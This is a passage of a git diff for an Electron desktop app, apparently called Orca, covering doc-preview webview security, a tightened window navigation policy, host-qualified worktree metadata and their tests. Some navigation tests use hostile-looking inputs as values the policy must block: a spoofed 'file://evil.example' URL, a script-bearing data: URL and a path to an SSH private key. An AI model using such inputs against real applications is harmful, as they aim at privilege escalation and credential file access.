       event.preventDefault()
       return
@@ -46,7 +88,7 @@ export function installMainWindowWebviewSecurity(mainWindow: BrowserWindow): voi
 
     delete params.preload
     // Why: preload runs in the page's main world before inline scripts can call window.close().
-    webPreferences.preload = browserWindowClosePreload
+    webPreferences.preload = isDocPreviewAttach ? docPreviewLinkPreload : browserWindowClosePreload
     // Why: older Electron builds expose preloadURL alongside preload; delete both so the guest can't inherit the main preload bridge.
     delete (webPreferences as Record<string, unknown>).preloadURL
     // Why delete something Electron does not set: 43 does not pass the embedder's
@@ -68,6 +110,17 @@ export function installMainWindowWebviewSecurity(mainWindow: BrowserWindow): voi
   })
 
   mainWindow.webContents.on('did-attach-webview', (_event, guest) => {
+    if (isDocPreviewSession(guest.session)) {
+      // Why: preview guests never join browser-tab routing, popups or anti-detection; the
+      // workspace-doc profile is what refuses all three. The attach is also the point a live window
+      // exists to receive read failures for that guest.
+      setDocPreviewFailureSink(mainWindow.webContents)
+      browserManager.attachGuestPolicies(guest, null, {
+        profile: 'workspace-doc',
+        host: mainWindow.webContents
+      })
+      return
+    }
     // Why: attach guest popup/nav policy at creation; waiting for renderer registration races target=_blank/early redirects past it.
     browserManager.attachGuestPolicies(guest)
     // Why: route guests override the generic popup fallback and stay blank until exact main-owned registration.
diff --git a/src/main/window/privileged-window-navigation.test.ts b/src/main/window/privileged-window-navigation.test.ts
new file mode 100644
index 00000000000..579d830f244
--- /dev/null
+++ b/src/main/window/privileged-window-navigation.test.ts
@@ -0,0 +1,96 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const openExternal = vi.fn()
+vi.mock('electron', () => ({
+  shell: { openExternal: (url: string) => openExternal(url) }
+}))
+
+import { installPrivilegedWindowNavigationPolicy } from './privileged-window-navigation'
+
+describe('privileged window navigation policy', () => {
+  function createFixture(currentUrl: string) {
+    const handlers = new Map<string, (...args: unknown[]) => void>()
+    const contents = {
+      getURL: () => currentUrl,
+      setWindowOpenHandler: vi.fn(),
+      on: vi.fn((event: string, handler: (...args: unknown[]) => void) => {
+        handlers.set(event, handler)
+      })
+    }
+    installPrivilegedWindowNavigationPolicy(contents as never)
+    return {
+      willNavigate(url: string) {
+        const event = { preventDefault: vi.fn() }
+        const handler = handlers.get('will-navigate')
+        // Why: the allow-cases assert preventDefault was *not* called, so a missing
+        // handler would pass them vacuously.
+        if (!handler) {
+          throw new Error('no will-navigate handler was registered')
+        }
+        handler(event, url)
+        return event
+      }
+    }
+  }
+
+  beforeEach(() => {
+    openExternal.mockClear()
+  })
+
+  it('lets the packaged renderer document reload itself', () => {
+    const appUrl =
+      'file:///Applications/Orca.app/Contents/Resources/app.asar/out/renderer/index.html'
+    const event = createFixture(appUrl).willNavigate(appUrl)
+
+    expect(event.preventDefault).not.toHaveBeenCalled()
+    expect(openExternal).not.toHaveBeenCalled()
+  })
+
+  it('still blocks and hands off an external http target', () => {
+    const appUrl =
+      'file:///Applications/Orca.app/Contents/Resources/app.asar/out/renderer/index.html'
+    const event = createFixture(appUrl).willNavigate('https://example.com/')
+
+    expect(event.preventDefault).toHaveBeenCalled()
+    expect(openExternal).toHaveBeenCalledWith('https://example.com/')
+  })
+
+  it('lets the dev renderer origin navigate but blocks foreign documents', () => {
+    const fixture = createFixture('http://localhost:5173/')
+
+    expect(
+      fixture.willNavigate('http://localhost:5173/index.html').preventDefault
+    ).not.toHaveBeenCalled()
+    expect(fixture.willNavigate('https://example.com/').preventDefault).toHaveBeenCalled()
+    expect(
+      fixture.willNavigate('blob:http://localhost:5173/attacker-document').preventDefault
+    ).toHaveBeenCalled()
+  })
+
+  // Why: the packaged file: path is the whole privilege boundary, so a foreign host or a
+  // non-file scheme that reuses it must not read as "our own document".
+  it('blocks a foreign file host and a data: URL that reuse the renderer path', () => {
+    const appUrl =
+      'file:///Applications/Orca.app/Contents/Resources/app.asar/out/renderer/index.html'
+    const fixture = createFixture(appUrl)
+
+    expect(
+      fixture.willNavigate(
+        'file://evil.example/Applications/Orca.app/Contents/Resources/app.asar/out/renderer/index.html'
+      ).preventDefault
+    ).toHaveBeenCalled()
+    expect(
+      fixture.willNavigate('data:text/html,<script>1</script>').preventDefault
+    ).toHaveBeenCalled()
+    expect(openExternal).not.toHaveBeenCalled()
+  })
+
+  it('still blocks navigation to an unrelated local file', () => {
+    const appUrl =
+      'file:///Applications/Orca.app/Contents/Resources/app.asar/out/renderer/index.html'
+    const event = createFixture(appUrl).willNavigate('file:///Users/someone/.ssh/id_rsa')
+
+    expect(event.preventDefault).toHaveBeenCalled()
+    expect(openExternal).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/window/privileged-window-navigation.ts b/src/main/window/privileged-window-navigation.ts
index a5afbbe0a98..d11268f0340 100644
--- a/src/main/window/privileged-window-navigation.ts
+++ b/src/main/window/privileged-window-navigation.ts
@@ -1,6 +1,6 @@
 import { shell, type WebContents } from 'electron'
-import { is } from '@electron-toolkit/utils'
 import { normalizeExternalBrowserUrl } from '../../shared/browser-url'
+import { isRendererDocumentNavigation } from './renderer-document-navigation'
 
 /** Keep remote documents from inheriting an Orca window's privileged preload. */
 export function installPrivilegedWindowNavigationPolicy(contents: WebContents): void {
@@ -13,19 +13,13 @@ export function installPrivilegedWindowNavigationPolicy(contents: WebContents):
   })
 
   contents.on('will-navigate', (event, url) => {
+    // Why: location.reload() is a renderer-initiated navigation, so blocking it here
+    // silently kills the lazy-chunk recovery reload with no unload-prevented signal.
+    if (isRendererDocumentNavigation(contents.getURL(), url)) {
+      return
+    }
     const externalUrl = normalizeExternalBrowserUrl(url)
     if (externalUrl) {
-      if (is.dev && process.env.ELECTRON_RENDERER_URL) {
-        try {
-          const target = new URL(externalUrl)
-          const allowed = new URL(process.env.ELECTRON_RENDERER_URL)
-          if (target.origin === allowed.origin) {
-            return
-          }
-        } catch {
-          // Fall through and block malformed navigation targets.
-        }
-      }
       void shell.openExternal(externalUrl)
     }
     event.preventDefault()
diff --git a/src/main/window/renderer-document-navigation.ts b/src/main/window/renderer-document-navigation.ts
index 4179e24a511..50fb128b633 100644
--- a/src/main/window/renderer-document-navigation.ts
+++ b/src/main/window/renderer-document-navigation.ts
@@ -1,6 +1,12 @@
 import type { WebContents } from 'electron'
 
-function isRendererDocumentNavigation(currentUrl: string, nextUrl: string): boolean {
+/**
+ * True when the target stays inside the window's own privileged document: for `file:`
+ * the exact same host+path (query/hash may differ, as a reload keeps them), for http(s)
+ * the same origin. Also gates preload privilege in installPrivilegedWindowNavigationPolicy,
+ * so loosening it past a same-origin document hands a foreign page the Orca bridge.
+ */
+export function isRendererDocumentNavigation(currentUrl: string, nextUrl: string): boolean {
   try {
     const current = new URL(currentUrl)
     const next = new URL(nextUrl)
@@ -13,6 +19,7 @@ function isRendererDocumentNavigation(currentUrl: string, nextUrl: string): bool
     }
     return (
       (current.protocol === 'http:' || current.protocol === 'https:') &&
+      (next.protocol === 'http:' || next.protocol === 'https:') &&
       next.origin === current.origin
     )
   } catch {
diff --git a/src/main/workspace-space-repo-scan.ts b/src/main/workspace-space-repo-scan.ts
index 8b97a89c041..ba1b2e4db4c 100644
--- a/src/main/workspace-space-repo-scan.ts
+++ b/src/main/workspace-space-repo-scan.ts
@@ -10,6 +10,8 @@ import type {
 } from '../shared/workspace-space-types'
 import { mapWithConcurrency } from '../shared/map-with-concurrency'
 import { getRepoExecutionHostId } from '../shared/execution-host'
+import { readWorktreeMetaForHost } from './persistence/host-qualified-worktree-meta'
+import { getRepoOwnedWorktreeMeta } from './worktree-metadata-ownership'
 import { getSshFilesystemProvider } from './providers/ssh-filesystem-dispatch'
 import { getSshGitProvider } from './providers/ssh-git-dispatch'
 import { createFolderWorktree, listRepoWorktrees } from './repo-worktrees'
@@ -104,7 +106,15 @@ function reportProgress(
 
 function mergeForSpaceScan(repo: Repo, gitWorktree: GitWorktreeInfo, store: Store): Worktree {
   const worktreeId = `${repo.id}::${gitWorktree.path}`
-  return mergeWorktree(repo.id, gitWorktree, store.getWorktreeMeta(worktreeId), repo.displayName)
+  const executionHostId = getRepoExecutionHostId(repo)
+  const repoOwnerCount = store.getRepos().filter((candidate) => candidate.id === repo.id).length
+  const allMeta = store.getAllWorktreeMeta?.()
+  const legacyMeta = store.getWorktreeMeta?.(worktreeId)
+  const metaById = allMeta ?? (legacyMeta ? { [worktreeId]: legacyMeta } : {})
+  const meta =
+    readWorktreeMetaForHost(store, worktreeId, executionHostId) ??
+    getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
+  return mergeWorktree(repo.id, gitWorktree, meta, repo.displayName)
 }
 
 export async function scanWorkspaceSpaceRepo(args: {
diff --git a/src/main/worktree-identity-persistence.test.ts b/src/main/worktree-identity-persistence.test.ts
new file mode 100644
index 00000000000..c66a2d72ce8
--- /dev/null
+++ b/src/main/worktree-identity-persistence.test.ts
@@ -0,0 +1,351 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import { rmSync, mkdtempSync } from 'node:fs'
+import { join } from 'node:path'
+import { tmpdir } from 'node:os'
+import type { PersistedState } from '../shared/persisted-state-types'
+import { canonicalWorktreeIdentity } from '../shared/worktree/identity'
+import { composeWorktreeHostIdentity } from '../shared/worktree/host-qualified-identity'
+import { createStore, readDataFile, testState, writeDataFile } from './persistence-test-harness'
+
+describe('host-qualified worktree metadata', () => {
+  const worktreeId = 'repo-1::/workspace/feature'
+  const ROTATED_INSTANCE_ID = '44444444-4444-4444-8444-444444444444'
+
+  beforeEach(() => {
+    testState.dir = mkdtempSync(join(tmpdir(), 'orca-worktree-identity-'))
+  })
+
+  afterEach(() => {
+    rmSync(testState.dir, { recursive: true, force: true })
+  })
+
+  it('stores independent metadata for colliding locators on two hosts', () => {
+    const store = createStore()
+
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', { displayName: 'Remote feature' })
+
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')?.displayName).toBe('Local feature')
+    expect(store.getWorktreeMetaForHost(worktreeId, 'ssh:build-box')?.displayName).toBe(
+      'Remote feature'
+    )
+    store.flush()
+    const persisted = readDataFile() as PersistedState
+    expect(Object.keys(persisted.worktreeMetaByIdentity ?? {})).toHaveLength(2)
+    expect(store.getWorktreeMeta(worktreeId)?.displayName).toBe('Local feature')
+  })
+  it('projects canonical-only metadata for exactly one host', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', {
+      displayName: 'Remote feature'
+    })
+
+    expect(store.getAllWorktreeMetaForHost('local')).toEqual({
+      [worktreeId]: expect.objectContaining({ displayName: 'Local feature', hostId: 'local' })
+    })
+    expect(store.getAllWorktreeMetaForHost('ssh:build-box')).toEqual({
+      [worktreeId]: expect.objectContaining({
+        displayName: 'Remote feature',
+        hostId: 'ssh:build-box'
+      })
+    })
+  })
+  it('reloads host-specific metadata without collapsing it to the legacy locator', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', { displayName: 'Remote feature' })
+    store.flush()
+
+    const reloaded = createStore()
+    expect(reloaded.getWorktreeMetaForHost(worktreeId, 'local')?.displayName).toBe('Local feature')
+    expect(reloaded.getWorktreeMetaForHost(worktreeId, 'ssh:build-box')?.displayName).toBe(
+      'Remote feature'
+    )
+  })
+  it('keeps canonical metadata current for legacy writers on a known owner', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { comment: 'before' })
+
+    store.setWorktreeMeta(worktreeId, { comment: 'after' })
+
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')?.comment).toBe('after')
+  })
+  it('backfills one stable instance for legacy metadata that omitted it', () => {
+    const seed = createStore()
+    seed.setWorktreeMeta(worktreeId, { displayName: 'Legacy feature' })
+    seed.flush()
+    const legacy = readDataFile() as PersistedState
+    delete legacy.worktreeMeta[worktreeId]?.instanceId
+    delete legacy.worktreeMetaByIdentity
+    delete legacy.worktreeIdentityAliases
+    writeDataFile(legacy)
+
+    const store = createStore()
+    const first = store.getWorktreeMetaForHost(worktreeId, 'local')
+    const second = store.getWorktreeMetaForHost(worktreeId, 'local')
+    store.setWorktreeMeta(worktreeId, { comment: 'after migration' })
+    store.flush()
+
+    expect(first?.instanceId).toBeTruthy()
+    expect(second?.instanceId).toBe(first?.instanceId)
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')?.comment).toBe('after migration')
+    const migrated = readDataFile() as PersistedState
+    expect(migrated.worktreeMeta[worktreeId]?.hostId).toBe('local')
+    expect(Object.keys(migrated.worktreeMetaByIdentity ?? {})).toHaveLength(1)
+  })
+  // Fails open on purpose: an ambiguous alias used to brick reads and throw out of the worktree
+  // listing loop, taking every workspace in the repo down with it and never self-healing.
+  it('collapses an ambiguous locator onto its most recently active instance', () => {
+    const seed = createStore()
+    const first = seed.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'First' })
+    seed.flush()
+    const persisted = readDataFile() as PersistedState
+    const alias = composeWorktreeHostIdentity('local', worktreeId)
+    const secondKey = canonicalWorktreeIdentity({
+      worktreeId,
+      executionHostId: 'local',
+      instanceId: '33333333-3333-4333-8333-333333333333'
+    })
+    persisted.worktreeMetaByIdentity ??= {}
+    persisted.worktreeIdentityAliases ??= {}
+    persisted.worktreeMetaByIdentity[secondKey] = {
+      ...first,
+      instanceId: '33333333-3333-4333-8333-333333333333',
+      displayName: 'Second',
+      lastActivityAt: 1
+    }
+    persisted.worktreeIdentityAliases[alias] = [
+      ...(persisted.worktreeIdentityAliases[alias] ?? []),
+      secondKey
+    ]
+    writeDataFile(persisted)
+
+    const store = createStore()
+    expect(() =>
+      store.setWorktreeMetaForHost(worktreeId, 'local', { comment: 'ambiguous write' })
+    ).toThrow('Worktree identity is ambiguous for this host and locator.')
+
+    const repaired = createStore()
+    expect(repaired.getWorktreeMetaForHost(worktreeId, 'local')?.displayName).toBe('Second')
+    repaired.flush()
+    const afterRead = readDataFile() as PersistedState
+    expect(afterRead.worktreeIdentityAliases?.[alias]).toEqual([
+      persisted.worktreeIdentityAliases?.[alias]?.[0],
+      secondKey
+    ])
+    expect(Object.keys(afterRead.worktreeMetaByIdentity ?? {})).toHaveLength(2)
+  })
+
+  it('removes only the selected legacy-owner metadata when locators collide', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', { displayName: 'Remote feature' })
+
+    store.removeWorktreeMeta(worktreeId, 'local')
+
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')).toBeUndefined()
+    expect(store.getWorktreeMetaForHost(worktreeId, 'ssh:build-box')?.displayName).toBe(
+      'Remote feature'
+    )
+  })
+
+  it('removes only the selected host metadata when locators collide', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', { displayName: 'Remote feature' })
+
+    store.removeWorktreeMeta(worktreeId, 'ssh:build-box')
+
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')?.displayName).toBe('Local feature')
+    expect(store.getWorktreeMetaForHost(worktreeId, 'ssh:build-box')).toBeUndefined()
+    store.flush()
+    expect(
+      Object.keys((readDataFile() as PersistedState).worktreeMetaByIdentity ?? {})
+    ).toHaveLength(1)
+  })
+
+  it('moves the locator alias without changing canonical identity', () => {
+    const store = createStore()
+    const meta = store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Feature' })
+    const identityKey = canonicalWorktreeIdentity({
+      worktreeId,
+      executionHostId: 'local',
+      instanceId: meta.instanceId!
+    })
+    const renamedId = 'repo-1::/workspace/renamed-feature'
+
+    store.migrateWorktreeIdentity(worktreeId, renamedId)
+
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')).toBeUndefined()
+    expect(store.getWorktreeMetaForHost(renamedId, 'local')?.instanceId).toBe(meta.instanceId)
+    store.flush()
+    const persisted = readDataFile() as PersistedState
+    expect(persisted.worktreeMetaByIdentity?.[identityKey]?.displayName).toBe('Feature')
+    expect(
+      persisted.worktreeIdentityAliases?.[composeWorktreeHostIdentity('local', renamedId)]
+    ).toEqual([identityKey])
+  })
+
+  it('keeps the canonical identity stable when the locator changes', () => {
+    const store = createStore()
+    const meta = store.setWorktreeMetaForHost(worktreeId, 'local', {
+      displayName: 'Feature'
+    })
+
+    const before = canonicalWorktreeIdentity({
+      worktreeId,
+      executionHostId: 'local',
+      instanceId: meta.instanceId!
+    })
+    const after = canonicalWorktreeIdentity({
+      worktreeId: 'repo-1::/workspace/renamed-feature',
+      executionHostId: 'local',
+      instanceId: meta.instanceId!
+    })
+
+    expect(after).toBe(before)
+    expect(composeWorktreeHostIdentity('local', worktreeId)).toBe(
+      'local|repo-1::/workspace/feature'
+    )
+  })
+  it('honours a deliberate instanceId rotation instead of pinning the stored one', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Feature' })
+
+    // worktree-lineage-pruning rotates a proven-missing parent so path reuse cannot
+    // validate old lineage; pinning the existing id silently disarmed that guard.
+    const rotated = store.setWorktreeMeta(worktreeId, { instanceId: ROTATED_INSTANCE_ID })
+
+    expect(rotated.instanceId).toBe(ROTATED_INSTANCE_ID)
+    expect(store.getWorktreeMetaForHost(worktreeId, 'local')?.instanceId).toBe(ROTATED_INSTANCE_ID)
+    store.flush()
+    const persisted = readDataFile() as PersistedState
+    // The old identity row goes with the rotation rather than lingering unreachable.
+    expect(Object.keys(persisted.worktreeMetaByIdentity ?? {})).toEqual([
+      canonicalWorktreeIdentity({
+        worktreeId,
+        executionHostId: 'local',
+        instanceId: ROTATED_INSTANCE_ID
+      })
+    ])
+  })
+
+  it('leaves other hosts at the old locator when one host renames its folder', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', { displayName: 'Remote feature' })
+    const renamedId = 'repo-1::/workspace/renamed-feature'
+
+    store.migrateWorktreeIdentity(worktreeId, renamedId, 'local')
+
+    expect(store.getWorktreeMetaForHost(renamedId, 'local')?.displayName).toBe('Local feature')
+    // The SSH host never moved, so its row must stay reachable at the path it still has.
+    expect(store.getWorktreeMetaForHost(worktreeId, 'ssh:build-box')?.displayName).toBe(
+      'Remote feature'
+    )
+  })
+
+  it('drops every host identity row when a locator is removed outright', () => {
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, 'local', { displayName: 'Local feature' })
+    store.setWorktreeMetaForHost(worktreeId, 'ssh:build-box', { displayName: 'Remote feature' })
+
+    store.removeWorktreeMeta(worktreeId)
+
+    store.flush()
+    const persisted = readDataFile() as PersistedState
+    expect(persisted.worktreeMetaByIdentity ?? {}).toEqual({})
+    expect(persisted.worktreeIdentityAliases ?? {}).toEqual({})
+  })
+
+  it('repairs a missing canonical instance id while re-adopting an SSH target', () => {
+    const oldHostId = 'ssh:old-target' as const
+    const newHostId = 'ssh:new-target' as const
+    const seed = createStore()
+    seed.setWorktreeMetaForHost(worktreeId, oldHostId, { displayName: 'Remote feature' })
+    seed.flush()
+    const persisted = readDataFile() as PersistedState
+    const oldAlias = composeWorktreeHostIdentity(oldHostId, worktreeId)
+    const oldKey = persisted.worktreeIdentityAliases?.[oldAlias]?.[0]
+    expect(oldKey).toBeTruthy()
+    delete persisted.worktreeMetaByIdentity?.[oldKey!]?.instanceId
+    writeDataFile(persisted)
+
+    const store = createStore()
+    store.reassignSshTargetId('old-target', 'new-target')
+    store.flush()
+
+    const repaired = readDataFile() as PersistedState
+    const newAlias = composeWorktreeHostIdentity(newHostId, worktreeId)
+    const newKey = repaired.worktreeIdentityAliases?.[newAlias]?.[0]
+    expect(repaired.worktreeIdentityAliases?.[oldAlias]).toBeUndefined()
+    expect(newKey).toBeTruthy()
+    expect(repaired.worktreeMetaByIdentity?.[newKey!]).toMatchObject({
+      displayName: 'Remote feature',
+      hostId: newHostId,
+      instanceId: expect.any(String)
+    })
+    expect(repaired.worktreeMetaByIdentity?.[oldKey!]).toBeUndefined()
+  })
+
+  it('preserves source metadata when the re-adoption destination is divergent', () => {
+    const oldHostId = 'ssh:old-target' as const
+    const newHostId = 'ssh:new-target' as const
+    const store = createStore()
+    store.setWorktreeMetaForHost(worktreeId, oldHostId, { displayName: 'Source feature' })
+    store.setWorktreeMetaForHost(worktreeId, newHostId, {
+      displayName: 'Destination feature'
+    })
+
+    store.reassignSshTargetId('old-target', 'new-target')
+
+    expect(store.getWorktreeMetaForHost(worktreeId, oldHostId)?.displayName).toBe('Source feature')
+    expect(store.getWorktreeMetaForHost(worktreeId, newHostId)?.displayName).toBe(
+      'Destination feature'
+    )
+    expect(store.getWorktreeMeta(worktreeId)?.hostId).toBe(oldHostId)
+    store.flush()
+    const persisted = readDataFile() as PersistedState
+    expect(
+      persisted.worktreeIdentityAliases?.[composeWorktreeHostIdentity(oldHostId, worktreeId)]
+    ).toHaveLength(1)
+    expect(
+      persisted.worktreeIdentityAliases?.[composeWorktreeHostIdentity(newHostId, worktreeId)]
+    ).toHaveLength(1)
+  })
+
+  it('deduplicates an equivalent destination during SSH target re-adoption', () => {
+    const oldHostId = 'ssh:old-target' as const
+    const newHostId = 'ssh:new-target' as const
+    const seed = createStore()
+    seed.setWorktreeMetaForHost(worktreeId, oldHostId, { displayName: 'Remote feature' })
+    seed.flush()
+    const persisted = readDataFile() as PersistedState
+    const oldAlias = composeWorktreeHostIdentity(oldHostId, worktreeId)
+    const oldKey = persisted.worktreeIdentityAliases?.[oldAlias]?.[0]
+    const source = oldKey ? persisted.worktreeMetaByIdentity?.[oldKey] : undefined
+    expect(source?.instanceId).toBeTruthy()
+    const newAlias = composeWorktreeHostIdentity(newHostId, worktreeId)
+    const newKey = canonicalWorktreeIdentity({
+      worktreeId,
+      executionHostId: newHostId,
+      instanceId: source!.instanceId!
+    })
+    persisted.worktreeMetaByIdentity ??= {}
+    persisted.worktreeIdentityAliases ??= {}
+    persisted.worktreeMetaByIdentity[newKey] = { ...source!, hostId: newHostId }
+    persisted.worktreeIdentityAliases[newAlias] = [newKey]
+    writeDataFile(persisted)
+
+    const store = createStore()
+    store.reassignSshTargetId('old-target', 'new-target')
+    store.flush()
+
+    const deduped = readDataFile() as PersistedState
+    expect(deduped.worktreeIdentityAliases?.[oldAlias]).toBeUndefined()
+    expect(deduped.worktreeIdentityAliases?.[newAlias]).toEqual([newKey])
+    expect(deduped.worktreeMetaByIdentity?.[oldKey!]).toBeUndefined()
+    expect(deduped.worktreeMetaByIdentity?.[newKey]).toEqual({ ...source!, hostId: newHostId })
+  })
+})
diff --git a/src/main/worktree-metadata-ownership.test.ts b/src/main/worktree-metadata-ownership.test.ts
new file mode 100644
index 00000000000..5582decec01
--- /dev/null
+++ b/src/main/worktree-metadata-ownership.test.ts
@@ -0,0 +1,35 @@
+import { describe, expect, it } from 'vitest'
+import { getRepoOwnedWorktreeMeta } from './worktree-metadata-ownership'
+import type { Repo } from '../shared/repo-types'
+import type { WorktreeMeta } from '../shared/worktree/meta-types'
+
+const worktreeId = 'repo-1::/workspace/feature'
+const localRepo: Repo = {
+  id: 'repo-1',
+  path: '/workspace/repo',
+  displayName: 'Local repo',
+  badgeColor: '#000',
+  addedAt: 1,
+  executionHostId: 'local'
+}
+const sshRepo: Repo = {
+  ...localRepo,
+  path: '/workspace/repo',
+  connectionId: 'build-box',
+  executionHostId: 'ssh:build-box'
+}
+const localMeta = { hostId: 'local', displayName: 'local metadata' } as WorktreeMeta
+
+function resolve(repo: Repo, ownerCount: number): WorktreeMeta | undefined {
+  return getRepoOwnedWorktreeMeta(repo, worktreeId, { [worktreeId]: localMeta }, ownerCount)
+}
+
+describe('getRepoOwnedWorktreeMeta', () => {
+  it('rejects another host metadata when repo IDs and paths collide', () => {
+    expect(resolve(sshRepo, 2)).toBeUndefined()
+  })
+
+  it('keeps legacy metadata for a single-owner repo', () => {
+    expect(resolve(localRepo, 1)).toBe(localMeta)
+  })
+})
diff --git a/src/preload/api-types.ts b/src/preload/api-types.ts
index 08511397a5c..b1d9c7bce55 100644
--- a/src/preload/api-types.ts
+++ b/src/preload/api-types.ts
@@ -22,6 +22,7 @@ import type { BrowserApi } from './api/browser-api'
 import type { CliApi } from './api/cli-install-api'
 import type { CrashReportsApi, FeedbackApi } from './api/crash-report-api'
 import type { DashboardApi, TerminalPreviewApi } from './api/dashboard-api'
+import type { DocPreviewApi } from './api/doc-preview-api'
 import type { EmulatorApi } from './api/emulator-api'
 import type { EphemeralVmApi } from './api/ephemeral-vm-api'
 import type { ExportApi, FilesystemApi } from './api/filesystem-api'
@@ -125,6 +126,7 @@ export type PreloadApi = {
   remoteWorkspace: WorkspaceSessionApi['remoteWorkspace']
   updater: UpdaterApi
   notebook: FilesystemApi['notebook']
+  docPreview: DocPreviewApi['docPreview']
   stats: StatsApi
   memory: MemoryApi
   claudeUsage: ClaudeUsageApi
diff --git a/src/preload/api/doc-preview-api.ts b/src/preload/api/doc-preview-api.ts
new file mode 100644
index 00000000000..51e928096b3
--- /dev/null
+++ b/src/preload/api/doc-preview-api.ts
@@ -0,0 +1,33 @@
+import type { DocPreviewFailure } from '../../shared/doc-preview-scheme'
+
+export type DocPreviewGrantOwner =
+  | { kind: 'ssh'; connectionId: string }
+  | {
+      kind: 'runtime'
+      environmentId: string
+      worktreeSelector: string
+      worktreeRoot: string
+    }
+
+export type DocPreviewGrantRequest = {
+  owner: DocPreviewGrantOwner
+  /** Directory that relative preview URLs resolve against. */
+  requestBase: string
+  /** Initial filesystem authority; always the opened document's directory. */
+  root: string
+  entryRelativePath: string
+  /** Browser page the document is being opened in; main registers its guest under this id. */
+  browserPageId: string
+}
+
+export type DocPreviewApi = {
+  docPreview: {
+    mintGrant: (request: DocPreviewGrantRequest) => Promise<{ grantId: string; url: string }>
+    revokeGrant: (grantId: string) => Promise<boolean>
+    authorizeDirectory: (grantId: string, relativePath: string) => Promise<boolean>
+    /** External link the preview guest tried to open; the renderer turns it into a browser tab. */
+    onExternalLink: (callback: (payload: { url: string }) => void) => () => void
+    /** Why the guest is showing an error body instead of the document. */
+    onLoadFailure: (callback: (payload: DocPreviewFailure) => void) => () => void
+  }
+}
diff --git a/src/preload/api/worktree-api.ts b/src/preload/api/worktree-api.ts
index 7a85bd51a32..d665d278580 100644
--- a/src/preload/api/worktree-api.ts
+++ b/src/preload/api/worktree-api.ts
@@ -112,7 +112,11 @@ export type WorktreeApi = {
     expectedHead: string
     hostId?: ExecutionHostId
   }) => Promise<ForceDeleteWorktreeBranchResult>
-  updateMeta: (args: { worktreeId: string; updates: Partial<WorktreeMeta> }) => Promise<Worktree>
+  updateMeta: (args: {
+    worktreeId: string
+    executionHostId?: ExecutionHostId
+    updates: Partial<WorktreeMeta>
+  }) => Promise<Worktree>
   listLineage: () => Promise<{
     lineage: Record<string, WorktreeLineage>
     workspaceLineage?: Record<string, WorkspaceLineage>
diff --git a/src/preload/doc-preview-link-interception.test.ts b/src/preload/doc-preview-link-interception.test.ts
new file mode 100644
index 00000000000..489d0d93cd5
--- /dev/null
+++ b/src/preload/doc-preview-link-interception.test.ts
@@ -0,0 +1,269 @@
+// @vitest-environment happy-dom
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { DOC_PREVIEW_LINK_CLICK_CHANNEL } from '../shared/doc-preview-scheme'
+import {
+  handleDocPreviewLinkAuxClick,
+  handleDocPreviewLinkClick,
+  installDocPreviewLinkInterception,
+  PRELOAD_DOC_PREVIEW_LINK_CLICK_CHANNEL
+} from './doc-preview-link-interception'
+
+const PREVIEW_GRANT_ID = 'a'.repeat(32)
+
+let report: ReturnType<typeof vi.fn<(url: string) => void>>
+
+/** The URL the guest is actually on, which is what decides whether an href is a pure fragment. */
+function documentUrl(): string {
+  return window.location.href
+}
+
+function loadPreviewDocument(body: string): void {
+  document.body.innerHTML = body
+  report = vi.fn<(url: string) => void>()
+}
+
+/**
+ * An SVG anchor around a hit target, built rather than parsed: the href is an SVGAnimatedString
+ * carrying the raw attribute, which is what a plain string read misses and the environment does
+ * not model.
+ */
+function loadSvgAnchorDocument(href: string): void {
+  loadPreviewDocument('<div id="host"></div>')
+  const svgNamespace = 'http://www.w3.org/2000/svg'
+  const anchor = document.createElementNS(svgNamespace, 'a')
+  anchor.setAttribute('href', href)
+  Object.defineProperty(anchor, 'href', { value: { baseVal: href } })
+  const hit = document.createElementNS(svgNamespace, 'rect')
+  hit.setAttribute('id', 'svg-hit')
+  anchor.appendChild(hit)
+  const svg = document.createElementNS(svgNamespace, 'svg')
+  svg.appendChild(anchor)
+  document.getElementById('host')!.appendChild(svg)
+}
+
+/**
+ * Dispatches through the same capture-phase listener the preload installs, but registered for one
+ * press only — a document-level listener left behind would answer every later test's clicks too.
+ */
+function dispatch(selector: string, event: MouseEvent): MouseEvent {
+  const onClick = (candidate: Event): void => handleDocPreviewLinkClick(candidate, report)
+  const onAuxClick = (candidate: Event): void =>
+    handleDocPreviewLinkAuxClick(candidate as MouseEvent)
+  document.addEventListener('click', onClick, true)
+  document.addEventListener('auxclick', onAuxClick, true)
+  try {
+    document.querySelector(selector)!.dispatchEvent(event)
+  } finally {
+    document.removeEventListener('click', onClick, true)
+    document.removeEventListener('auxclick', onAuxClick, true)
+  }
+  return event
+}
+
+/** Chromium's own press. Nothing a document can dispatch carries this. */
+function pressTrusted(selector: string, init: MouseEventInit = {}): MouseEvent {
